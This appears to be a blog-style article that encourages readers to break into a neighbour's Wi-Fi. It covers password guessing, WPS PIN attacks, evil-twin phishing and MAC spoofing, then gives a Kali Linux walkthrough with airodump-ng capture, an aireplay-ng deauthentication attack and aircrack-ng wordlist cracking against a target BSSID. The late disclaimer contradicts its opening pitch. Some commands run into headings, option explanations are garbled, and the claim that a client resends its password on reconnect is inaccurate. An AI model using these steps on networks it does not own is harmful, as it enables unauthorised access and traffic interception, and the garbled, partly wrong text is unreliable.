Well, imagine this: you’ve just moved into a new apartment, and the internet company takes days to get you connected. You’re stuck trying to stream your favorite shows on a laggy cellphone hotspot. Frustrating, right? Now, what if you could tap into your neighbor’s Wi-Fi in the meantime? It’s more common than you think, and not as hard as it sounds!
In today’s connected world, Wi-Fi is everywhere. From your local café to your living room, it’s hard to find a place without it. But with this convenience comes vulnerability. Many Wi-Fi networks have weak passwords that can be easily cracked or even guessed. Whether it’s out of curiosity or necessity, knowing how to hack a Wi-Fi network can be a handy skill.
This article dives into the exciting (and a bit sneaky) world of Wi-Fi hacking. We’ll walk you through the most effective methods to break into Wi-Fi networks and highlight the best programs for the job.
Ways to Hack a Wi-Fi Network
In the world of wireless technology, any system is at risk of being hacked. Wireless networks, or Wi-Fi, have weak points that can be exploited. Hacking Wi-Fi is not as challenging as it may seem. There are many ways to penetrate your neighbor’s Wi-Fi. The success of each hacking option depends on the specific situation, so it’s impossible to guarantee that all methods will work. All wireless networks are protected with a specific key and are also encrypted. Despite this, access points are susceptible to intrusion. You can connect to them without having the required password. Often such points are found in public places.
1. Selecting a Password Manually
The first method is the simplest. All you need to do is think a little. It has been repeatedly verified that Wi-Fi networks are either not protected by a password, or it is standard, or slightly modified. All this suggests that such a password can be guessed. Here are 10 examples of such cases:
- 1234
- 12345
- 111111
- 123123
- 123456
- 696969
- 1234567
- 12345678
- 87654321
- 000000
There are entire tops of the most famous passwords on the Internet that you can view yourself. Some providers use standard character sets for their routers.
2. Brute Force Method
This is an automatic selection of passwords using special programs. There are many such services, but only a small part of them work well. It is worth pointing out right away that this method is effective for cracking WEP keys. It will be difficult to do anything against the WPA/WPA2 system. New router models require you to enter long security codes, which greatly complicates the Brute Force method.
Perhaps the best option for automatic hacking is Aircrack-ng. This program not only hacks Wi-Fi but is also designed to test wireless networks for security. Aircrack-ng is a set of powerful tools that run from the command line.
Another similar program is AirSnort. True, it works exclusively with WEP networks. The cipher is selected using a special algorithm. AirSnort collects data over the network and then decrypts the received packets into a password.
Kismet analyzes wireless networks and also detects intrusions into its network. In addition, the program is used to solve problems with wireless connections.
3. Handshake Interception
This method differs from the previous one only in that you first need to intercept the cipher to then convert it into a password suitable for the network. Everything happens in several steps:
- You are connected to the network
- The connection is disconnected
- The computer reconnects
At the time of reconnection, the computer again sends the password to the router. He accepts it and restores the connection. All this happens quickly and unnoticed.
The disadvantage of this method is that we receive the data in encrypted form. But you can use additional services to parse this data. The same Aircrack-ng can help decrypt the data. To select a security code, use a password generator and brute force tool like HashCat.
4. WPS Code
Many routers have a WPS button. It allows you to connect devices in a simplified mode. This button is automatically activated in most cases. To connect to such a router, you just need to select an eight-digit code.
Some factory models have the same key, which has long been known to Wi-Fi hacking programs. It is best to manually select the cipher in pairs, four digits at a time.
5. Phishing
The essence of this method is to intercept the password using a created copy of the connection. In practice, this looks like three steps:
- Create an access point with the identical name of the network that you will hack
- With a good signal, the user “behind the wall” will mistakenly, sooner or later, connect to your network
- When logging in, he will enter a password that will be sent to your device.
6. Password Databases
Special services store information with security codes for access points in public places. There is no need to rack your brain on how to hack Wi-Fi because in large cities there are many cafes, restaurants, and other establishments that give out free Wi-Fi. To connect, you just need to enter the access key.
Programs such as Wi-Fi Map and Router Scan have a database of passwords for similar establishments. You will see marked points on the map, and after you get close, the program itself will automatically connect you to the Internet.
7. Change MAC Address
Some Wi-Fi users use MAC address filtering instead of keys. The network is displayed as open, but you cannot simply connect to it. Using special programs, you need to find out which addresses are allowed for a particular router. After receiving the data package, you need to change the MAC address of your device to one of the allowed ones. After this, you can use Wi-Fi.
To change the MAC address of your computer, you need to do the following:
- Go to the Control Panel
- Select Network and Sharing Center
- Next, Changing network adapter settings
- Right-click on the network connection
- Open the item, Properties
- In the tab, Network, click on the button, Configure
- In the section, Additionally activate, Network address
- Enter the MAC address of 12 characters
- Click OK and restart the network connection
The Best Programs for Hacking Wi-Fi Networks
Well, if you’re curious about the best programs for hacking Wi-Fi networks, we’ve got you covered. Here are some top tools that hackers often use to break into wireless networks.
1. Kali Linux Nethunter
Kali Linux Nethunter is the first open-source Wi-Fi platform of its kind for Android. It’s pretty powerful, giving you full access to wireless networks and even letting you see some information about the devices connected to Wi-Fi. The interface isn’t the easiest to navigate, but once you get the hang of it, it’s a real game-changer.
2. Aircrack-ng
Aircrack-ng is a popular tool for working with networks. While its primary purpose is to protect wireless communication channels, it’s often used for hacking too. It’s not designed for beginners, though. You’ll need some special knowledge to get the most out of it. Aircrack-ng finds vulnerabilities and weaknesses in wireless networks, which can help you improve security and prevent hacker attacks in the future.
3. Shark For Root
Shark For Root is the Android version of the popular Wireshark package, which is used for analyzing network traffic and developing security protocols. You’ll need Wireshark on your desktop to get started, as the smartphone app works in tandem with it. It’s great for digging deep into network traffic and figuring out what’s going on behind the scenes.
4. Zanti
Zanti is an easy-to-use mobile tool for assessing Wi-Fi network security, finding vulnerabilities, and, of course, penetrating networks. The built-in Wi-Fi scanner shows access points and marks those that can be accessed easily. You can also use the app to “cut off” incoming or outgoing traffic, leaving the network without internet access. It’s straightforward and powerful.
5. Reaver
Reaver is a Wi-Fi password-cracking app that’s fairly easy to use. It detects wireless routers that support WPS and WPA/WPA2 protocols. You get all the information on a pretty user-friendly graphical interface. If you forget the password for your home network and don’t want to reset your router settings, give Reaver a try.
6. WPA WPS Tester
WPA WPS Tester is a tool for searching for vulnerabilities in WPS and WPA/WPA2 protocols. It can guess the password to a network and also lets you find out how protected the network is from hacking. It scans both incoming and outgoing packets, as well as the wireless devices themselves for vulnerabilities like backdoors.
Well, there you have it. These tools can give you a good idea of how to hack Wi-Fi networks or, better yet, how to protect your network from being hacked.
Hacking Wi-Fi Networks Protected by WPA and WPA2
Well, let’s dive into hacking Wi-Fi networks protected by WPA and WPA2. We’ll use Kali Linux and an Alfa AWUS036NH Wi-Fi adapter for this example. Remember, this is solely for testing your network for vulnerabilities. Do not use these methods on other people’s Wi-Fi networks!
1. Setting Up Kali Linux and the Wi-Fi Adapter
First, you need to run Kali Linux in VMware and connect the Alfa AWUS036NH Wi-Fi adapter to the system. This will be your primary tool for the hacking process.
2. Exploring Wi-Fi Connection Management Tools
Next, take a look at the Wi-Fi connection management tools available in Kali Linux. These tools are essential for identifying and targeting Wi-Fi networks.
3. Identifying Wireless Network Interfaces
Open a terminal and run the airmon-ng command to display information about wireless network interfaces. You should see something like this:
airmon-ng
You’ll see an interface named wlan0. Knowing this, let’s run the following command to switch the Wi-Fi adapter to monitoring mode:
airmon-ng start wlan04. Scanning for Nearby Wi-Fi Networks
Now, run this command to scan for nearby Wi-Fi networks:
airodump-ng wlan0mon
This will allow you to obtain information about Wi-Fi networks in your vicinity, including their SSID and encryption methods.
5. Capturing Network Traffic
To capture the necessary network traffic, use this command:
airodump-ng -c [channel] --bssid [bssid] -w /root/Desktop/ [monitor interface]
Replace [channel] with the target channel number, [bssid] with the target BSSID, and [monitor interface] with wlan0mon. For example:
airodump-ng -c 6 --bssid 4C:ED:FB:8A:4F:C0 -w /root/Desktop/ wlan0mon
Now, wait. The airodump utility will monitor the network, waiting for someone to connect. This will give you the opportunity to capture handshake files, which will be saved in the /root/Desktop folder.
6. Forcing Handshake Capture (Optional)
If you don’t want to wait for someone to connect, you can force a handshake capture with this command:
aireplay-ng -0 2 -a [router bssid] -c [client bssid] wlan0monReplace [router bssid] with the BSSID of the Wi-Fi network and [client bssid] with the workstation identifier. This command attacks the router by performing packet injection, forcing a client to reconnect and capture the handshake.
7. Cracking the Password
Now, use this command to crack the password:
aircrack-ng -a2 -b [router bssid] -w [path to wordlist] /root/Desktop/*.capIn this command:
-a2means WPA.-bis the BSSID of the network.-wis the path to the list of passwords.*.capis a template for file names containing passwords.
For example:
aircrack-ng -a2 -b 4C:ED:FB:8A:4F:C0 -w /root/Desktop/ww.txt /root/Desktop/*.capAfter executing this command, the password cracking process will begin. If successful, you will see the cracked password displayed on your screen.
Successful Password Cracking